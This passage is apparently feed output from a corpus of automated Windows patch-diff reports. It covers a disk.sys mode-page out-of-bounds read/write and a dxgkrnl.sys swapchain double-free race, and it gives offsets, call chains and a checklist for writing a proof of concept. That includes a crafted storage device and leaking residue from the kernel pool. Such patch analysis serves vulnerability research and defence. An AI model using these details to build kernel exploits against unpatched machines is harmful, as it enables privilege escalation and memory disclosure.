&lt;li&gt;Under Driver Verifier with Special Pool on &lt;code&gt;disk.sys&lt;/code&gt;: immediate BSOD — typically &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;, faulting IP &lt;code&gt;disk+0xccad&lt;/code&gt; (or any of the read sites), faulting address slightly beyond the &lt;code&gt;ScDC&lt;/code&gt; allocation.&lt;/li&gt;
&lt;li&gt;Without verifier: &lt;code&gt;dt _DISK_CACHE_INFORMATION @rbx&lt;/code&gt; at function return shows leaked 16-bit values in &lt;code&gt;CacheSize&lt;/code&gt; / &lt;code&gt;PrefetchSize&lt;/code&gt; / &lt;code&gt;MaximumCacheSize&lt;/code&gt; / &lt;code&gt;DiskCacheSize&lt;/code&gt; fields.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Struct / offset notes&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_DISK_CACHE_INFORMATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// sizeof = 0x18 (24 bytes)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BOOLEAN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WriteCacheEnabled&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// +0x0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BOOLEAN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WriteRetentionPolicy&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// +0x1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BOOLEAN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FlushCacheEnabled&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// +0x2&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BOOLEAN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Pad0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// +0x3 (padding)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;WriteCacheType&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// +0x4&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;WriteCachePolicy&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// +0x8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;USHORT&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;CacheSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// +0xc&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;USHORT&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Pad1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// +0xe&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;USHORT&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;PrefetchSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// +0x10&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;USHORT&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;MaximumCacheSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// +0x12&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;USHORT&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DiskCacheSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// +0x14&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DISK_CACHE_INFORMATION&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Buffer allocation: &lt;code&gt;ExAllocatePoolWithTag(NonPagedPoolNxCacheAligned (0x204), 0xC0, 'ScDC')&lt;/code&gt;. Note that ASLR slides the &lt;code&gt;disk&lt;/code&gt; module base — rebase every offset using &lt;code&gt;lm disk&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-relevant&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DiskGetCacheInformation&lt;/code&gt; (unpatched &lt;code&gt;0x1C000CBF0&lt;/code&gt;, patched &lt;code&gt;0x1C000DBA4&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9151&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Mode page 8 parser — adds the bounds check fixing the OOB read. &lt;strong&gt;Primary finding.&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DiskSetCacheInformation&lt;/code&gt; (unpatched &lt;code&gt;0x1C0010C48&lt;/code&gt;, patched &lt;code&gt;0x1C001315C&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Mode page 8 writer — adds the identical bounds check fixing an OOB &lt;strong&gt;write&lt;/strong&gt; (CWE-787) of caller-supplied cache fields. See Finding 3.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DiskDeviceControl&lt;/code&gt; (unpatched &lt;code&gt;0x1C0001770&lt;/code&gt;, patched &lt;code&gt;0x1C00010C0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.88&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Hardening&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Early &lt;code&gt;STATUS_NOT_SUPPORTED (0xC00000BB)&lt;/code&gt; for storage IOCTLs &lt;code&gt;0x74080/0x7c088/0x7c084/0x4d02c/0x4d030&lt;/code&gt; when the device sub-object state field (&lt;code&gt;[dev+0x208]+0x1C&lt;/code&gt;) equals &lt;code&gt;0x11&lt;/code&gt;. Defense-in-depth against IOCTL processing on a device in that state.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Behavioral (non-exploitable from diff)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DiskInitFdo (sub_1c000be40)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.82&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Failure-prediction init moved from inline synchronous to &lt;code&gt;IoAllocateWorkItem&lt;/code&gt; + &lt;code&gt;IoQueueWorkItem&lt;/code&gt; (async). PnP reliability improvement.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Cosmetic / register-allocation (collapsed)&lt;/h3&gt;
&lt;p&gt;The following functions changed only due to compiler recompilation, CRT optimization, or register reassignment. No new vulnerability and no exploitable behavioral change:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RtlStringCchPrintfW (sub_1c0002464)&lt;/code&gt; — CRT refactoring, sim 0.28.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memmove (sub_1c0002840)&lt;/code&gt; — SIMD strategy change, sim 0.31.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memset (sub_1c0002b80)&lt;/code&gt; — SIMD strategy change, sim 0.45.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiskFdoProcessError (sub_1c0001e50)&lt;/code&gt; — bounds checks refactored, sim 0.89.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DriverEntry (sub_1c0014078)&lt;/code&gt; — function pointer table updated by recompile, sim 0.87.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiskIoctlGetCacheInformation (sub_1c000bd50)&lt;/code&gt; — &lt;code&gt;CR8 → KeGetCurrentIrql&lt;/code&gt; swap; calls vulnerable &lt;code&gt;DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt;, sim 0.86.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiskStartFdo (sub_1c000ca00)&lt;/code&gt; — cosmetic; calls vulnerable &lt;code&gt;DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt;, sim 0.85.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DisableWriteCache (sub_1c000eca0)&lt;/code&gt; — cosmetic; calls vulnerable &lt;code&gt;DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt;, sim 0.83.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiskIoctlGetLengthInfo (sub_1c000b220)&lt;/code&gt; — &lt;code&gt;CR8 → KeGetCurrentIrql&lt;/code&gt;, sim 0.86.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiskIoctlSmartReceiveDriveData (sub_1c000faf4)&lt;/code&gt; — register reallocation, sim 0.87.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiskPerformSmartCommand (sub_1c000b4a4)&lt;/code&gt; — register reallocation, sim 0.86.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiskEnableDisableFailurePredictPolling (sub_1c000d5e4)&lt;/code&gt; — register reallocation, sim 0.85.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiskCreateSymbolicLinks (sub_1c000c51c)&lt;/code&gt; — register reallocation, sim 0.84.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiskCreateGuidSymbolicLink (sub_1c000ce08)&lt;/code&gt; — register reallocation, sim 0.84.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiskIoctlSmartSendDriveCommand (sub_1c000ff0c)&lt;/code&gt; — register reallocation, sim 0.85.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;McGenControlCallbackV2 (sub_1c00045f0)&lt;/code&gt; — register reallocation, sim 0.86.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetSrbScsiData (sub_1c0002050)&lt;/code&gt; — bounds-check refactor, no new vuln, sim 0.87.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: three cosmetic callers (&lt;code&gt;DiskIoctlGetCacheInformation (sub_1c000bd50)&lt;/code&gt;, &lt;code&gt;DiskStartFdo (sub_1c000ca00)&lt;/code&gt;, &lt;code&gt;DisableWriteCache (sub_1c000eca0)&lt;/code&gt;) reach the vulnerable &lt;code&gt;DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt;. Although their changes are non-functional, they expand the attacker's reachability surface — keep them in mind when tracing the call graph.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None added or removed. The patch is purely a modification of existing functions, with no new sanitizers inserted as standalone routines and no mitigations removed.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High.&lt;/strong&gt; The diff shows an unambiguous bounds-check insertion immediately after a &lt;code&gt;ClassFindModePage&lt;/code&gt; call, with the unpatched side performing only a NULL check before reading a fixed 12-byte window. The data flow (device response → &lt;code&gt;ClassModeSense&lt;/code&gt; → &lt;code&gt;ClassFindModePage&lt;/code&gt; → field reads → IOCTL output buffer) is consistent across pseudocode, assembly, and the call chain. The pool tag, allocation size, and IOCTL code all corroborate.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assumptions made:&lt;/strong&gt;
- The call chain (&lt;code&gt;DiskDeviceControl (sub_1c0001770)&lt;/code&gt; → &lt;code&gt;DiskIoctlGetCacheInformation (sub_1c000bd50)&lt;/code&gt; → &lt;code&gt;DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt;) is reconstructed from naming and dispatch-table analysis; cross-reference confirmation with independent static analysis is recommended.
- &lt;code&gt;ClassFindModePage&lt;/code&gt; is assumed to return a pointer derived purely from device-controlled length fields (standard Storport behavior). A defensive &lt;code&gt;ClassFindModePage&lt;/code&gt; implementation that already validates the descriptor length would partially mitigate, but the patch's existence strongly implies the unpatched version relied on the caller for bounds enforcement.
- The &lt;code&gt;AddDevice&lt;/code&gt; work-item path (&lt;code&gt;DisableWriteCache (sub_1c000eca0)&lt;/code&gt; → &lt;code&gt;DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt;) was inferred from similarity and the work-item refactor in &lt;code&gt;DiskInitFdo (sub_1c000be40)&lt;/code&gt;; confirm with &lt;code&gt;!wdfkd.wdfdriver&lt;/code&gt; or &lt;code&gt;!devnode&lt;/code&gt; traces.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Verify before writing the PoC:&lt;/strong&gt;
1. Confirm &lt;code&gt;lm disk&lt;/code&gt; rebased offsets match the unpatched target.
2. Confirm &lt;code&gt;ClassFindModePage&lt;/code&gt;'s exact return semantics on the target Windows build (does it ever return a pointer past &lt;code&gt;P + data_length&lt;/code&gt; by itself?).
3. Build or emulate a USB mass-storage / iSCSI LUN that returns the truncated MODE SENSE response and verify the OOB pattern in the debugger before relying on it.
4. If exploiting for info leak rather than DoS, verify pool-residue availability by inspecting &lt;code&gt;!poolused&lt;/code&gt; and &lt;code&gt;!pool&lt;/code&gt; near the &lt;code&gt;ScDC&lt;/code&gt; allocation under the target's actual pool configuration.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>dxgkrnl.sys — Race condition (insufficient lock strength) leading to double-free / use-after-free in DXGSWAPCHAIN swapchain sync-object teardown (CWE-362) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/dxgkrnl_63e9ddff-dxgkrnl-report-20260628-223412.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/dxgkrnl_63e9ddff-dxgkrnl-report-20260628-223412.html</id><summary type="html">&lt;p&gt;KB5078885&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;dxgkrnl_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;dxgkrnl_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9913&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 6879 matched, 9 changed, 6870 identical, 0 unmatched in either direction.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; This patch removes WIL feature-staging (flighting) branches that gated legacy vs. new implementations in two subsystems of the DirectX graphics kernel: (1) OPM (Output Protection Manager) handle management in &lt;code&gt;ADAPTER_DISPLAY&lt;/code&gt;, and (2) swapchain sync-object teardown in &lt;code&gt;DXGSWAPCHAIN&lt;/code&gt;. The OPM change is a hardening that stops handing a raw kernel pointer back to the caller as the OPM handle (a kernel-address disclosure) and switches to opaque 64-bit IDs. The swapchain change is the memory-safety-relevant one: it removes a shared-lock teardown path that can double-free a sync object under concurrency.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Feature_&amp;lt;id&amp;gt;__private_IsEnabledDeviceUsage&lt;/code&gt; is the Windows Implementation Library (WIL) feature-staging pattern: a runtime flag used to roll out a new implementation gradually. Both flags here gate a newer, safer implementation that the patch makes unconditional.&lt;/p&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: OPM Handle Is a Raw Kernel Pointer (Kernel-Address Disclosure), Hardened to Opaque IDs&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Information Exposure (kernel address disclosure) via pointer-as-handle. NOT type confusion / arbitrary write.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;ADAPTER_DISPLAY::OpmCreateHandle&lt;/code&gt; (&lt;code&gt;sub_1C0175174&lt;/code&gt;), &lt;code&gt;ADAPTER_DISPLAY::OpmTranslateHandle&lt;/code&gt; (&lt;code&gt;sub_1C0174F34&lt;/code&gt;), &lt;code&gt;ADAPTER_DISPLAY::OpmTranslateAndDestroyHandle&lt;/code&gt; (&lt;code&gt;sub_1C0174AA8&lt;/code&gt;), &lt;code&gt;ADAPTER_DISPLAY::OpmValidateAdapterHandle&lt;/code&gt; (&lt;code&gt;sub_1C0175044&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
The unpatched &lt;code&gt;dxgkrnl.sys&lt;/code&gt; uses WIL feature-staging flag &lt;code&gt;Feature_2161340729__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c00259e8&lt;/code&gt;) to select between two OPM handle schemes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Legacy (flag OFF):&lt;/strong&gt; &lt;code&gt;OpmCreateHandle&lt;/code&gt; allocates an &lt;code&gt;_OPM_HANDLE_MAPPING&lt;/code&gt; node, inserts it into the adapter's list at &lt;code&gt;this+0x130&lt;/code&gt;, and returns the &lt;strong&gt;raw kernel address of that node&lt;/strong&gt; to the caller as the OPM handle (&lt;code&gt;*a3 = node&lt;/code&gt;). On translate/destroy, the supplied handle is re-validated by &lt;code&gt;OpmValidateAdapterHandle&lt;/code&gt;, which walks the list and returns 1 &lt;strong&gt;only if the pointer is an exact live member&lt;/strong&gt; (&lt;code&gt;i == a2&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New (flag ON, and the only scheme in the patched build):&lt;/strong&gt; the handle is an opaque, uniquely generated 64-bit ID stored at &lt;code&gt;node+0x18&lt;/code&gt;. Lookups use &lt;code&gt;ADAPTER_DISPLAY::FindOpmAdapterMapping&lt;/code&gt; (&lt;code&gt;sub_1c00d7190&lt;/code&gt; unpatched / &lt;code&gt;sub_1c00d6190&lt;/code&gt; patched — the &lt;strong&gt;same&lt;/strong&gt; function, relocated), comparing &lt;code&gt;result[3] == a2&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Why this is not a type confusion or arbitrary write:&lt;/strong&gt; In the legacy path the destroy operation only unlinks a node that &lt;code&gt;OpmValidateAdapterHandle&lt;/code&gt; confirmed is a live list member, and the unlink is guarded by a &lt;code&gt;__fastfail(3)&lt;/code&gt; consistency check (&lt;code&gt;flink-&amp;gt;blink == node &amp;amp;&amp;amp; blink-&amp;gt;flink == node&lt;/code&gt;) before the two neighbor writes. A value that is not a live member returns 0 and takes the error path; it never matches an unrelated object and never produces a wrong-object write. The real weakness of the legacy scheme is that a kernel heap address is disclosed to the OPM client as the handle value, weakening KASLR, and the fragile pointer-as-handle pattern. The patch removes the legacy path, so OPM handles are always opaque IDs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;
1. A client drives the OPM protected-output APIs, reaching the OPM IOCTL dispatch.
2. &lt;code&gt;DpiPdoDispatchInternalIoctl&lt;/code&gt; (&lt;code&gt;sub_1c016a270&lt;/code&gt;) -&amp;gt; &lt;code&gt;DpiPdoHandleOpmIoctls&lt;/code&gt; (&lt;code&gt;sub_1c0174bd4&lt;/code&gt;).
3. -&amp;gt; &lt;code&gt;DxgkOpmCreateHandle&lt;/code&gt; / &lt;code&gt;DxgkOpmTranslateHandle&lt;/code&gt; (&lt;code&gt;sub_1c0174e8c&lt;/code&gt;) / &lt;code&gt;DxgkOpmTranslateAndDestroyHandle&lt;/code&gt; (&lt;code&gt;sub_1c0174a00&lt;/code&gt;).
4. -&amp;gt; &lt;code&gt;ADAPTER_DISPLAY::OpmCreateHandle&lt;/code&gt; (&lt;code&gt;sub_1c0175174&lt;/code&gt;) / &lt;code&gt;OpmTranslateHandle&lt;/code&gt; (&lt;code&gt;sub_1c0174f34&lt;/code&gt;) / &lt;code&gt;OpmTranslateAndDestroyHandle&lt;/code&gt; (&lt;code&gt;sub_1c0174aa8&lt;/code&gt;).
5. With the flag OFF, the handle returned by create is a kernel pointer; translate/destroy re-validate it by list-membership walk.&lt;/p&gt;
&lt;h3&gt;Finding 2: Swapchain Sync-Object Teardown Uses Only a Shared Lock (Double-Free / UAF)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Race Condition (insufficient lock strength) leading to double-free / Use-After-Free&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;DXGSWAPCHAIN::DestroySurfacesResourcesLocal&lt;/code&gt; (&lt;code&gt;sub_1C02ABA68&lt;/code&gt;), &lt;code&gt;DXGSWAPCHAIN::DestroySurfacesResourcesGlobal&lt;/code&gt; (&lt;code&gt;sub_1C02AB988&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
The unpatched &lt;code&gt;DestroySurfacesResourcesLocal&lt;/code&gt; synchronizes access to the swapchain's handle-table &lt;code&gt;DXGSYNCOBJECT&lt;/code&gt; entry using two mechanisms gated by WIL flag &lt;code&gt;Feature_342658361__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c0027f20&lt;/code&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New (flag ON, kept by the patch):&lt;/strong&gt; takes an &lt;strong&gt;EXCLUSIVE&lt;/strong&gt; handle-table lock (&lt;code&gt;DXGHANDLETABLELOCKEXCLUSIVE&lt;/code&gt;, &lt;code&gt;sub_1c0002630&lt;/code&gt; / &lt;code&gt;DXGAUTOPUSHLOCK&lt;/code&gt; release &lt;code&gt;sub_1c0004488&lt;/code&gt;) and, while holding it, sets the &lt;code&gt;0x2000&lt;/code&gt; "in-destruction" bit on the table entry.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Legacy (flag OFF, removed by the patch):&lt;/strong&gt; takes only a &lt;strong&gt;SHARED&lt;/strong&gt; push lock (&lt;code&gt;DXGPUSHLOCK::AcquireShared&lt;/code&gt;, &lt;code&gt;sub_1c0007018&lt;/code&gt;, released via &lt;code&gt;ExReleasePushLockSharedEx&lt;/code&gt; + &lt;code&gt;KeLeaveCriticalRegion&lt;/code&gt;) and does &lt;strong&gt;not&lt;/strong&gt; set the &lt;code&gt;0x2000&lt;/code&gt; marker.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because &lt;code&gt;DXGGLOBAL::DestroySyncObject&lt;/code&gt; (&lt;code&gt;sub_1c00ddb58&lt;/code&gt;) is called &lt;strong&gt;after&lt;/strong&gt; the lock is released, two threads running the shared-lock path concurrently can both fetch the same &lt;code&gt;DXGSYNCOBJECT&lt;/code&gt; and both destroy it — a double-free / use-after-free. The exclusive-lock path plus the &lt;code&gt;0x2000&lt;/code&gt; marker prevents this: a second thread sees &lt;code&gt;(entry &amp;amp; 0x2000) != 0&lt;/code&gt; and fetches &lt;code&gt;nullptr&lt;/code&gt;. The sibling &lt;code&gt;DestroySurfacesResourcesGlobal&lt;/code&gt; mirrors the pattern: the legacy path skips the exclusive &lt;code&gt;DXGSYNCOBJECTLOCK&lt;/code&gt; (&lt;code&gt;sub_1c00186fc&lt;/code&gt;) and passes &lt;code&gt;arg4=0&lt;/code&gt; to &lt;code&gt;DestroySyncObject&lt;/code&gt;, while the patch always acquires the exclusive lock and passes &lt;code&gt;arg4=1&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Correction over the initial triage: the flag-ON path is the &lt;strong&gt;exclusive&lt;/strong&gt; lock (safe); the flag-OFF path is the &lt;strong&gt;shared&lt;/strong&gt; push lock (racy). The earlier reading had these reversed and described the exclusive-lock helpers as "lock-free."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1: Validated Unlink (&lt;code&gt;ADAPTER_DISPLAY::OpmTranslateAndDestroyHandle&lt;/code&gt;, &lt;code&gt;sub_1C0174AA8&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED sub_1C0174AA8 ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_2161340729__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// flag ON: opaque ID&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FindOpmAdapterMapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// sub_1c00d7190&lt;/span&gt;
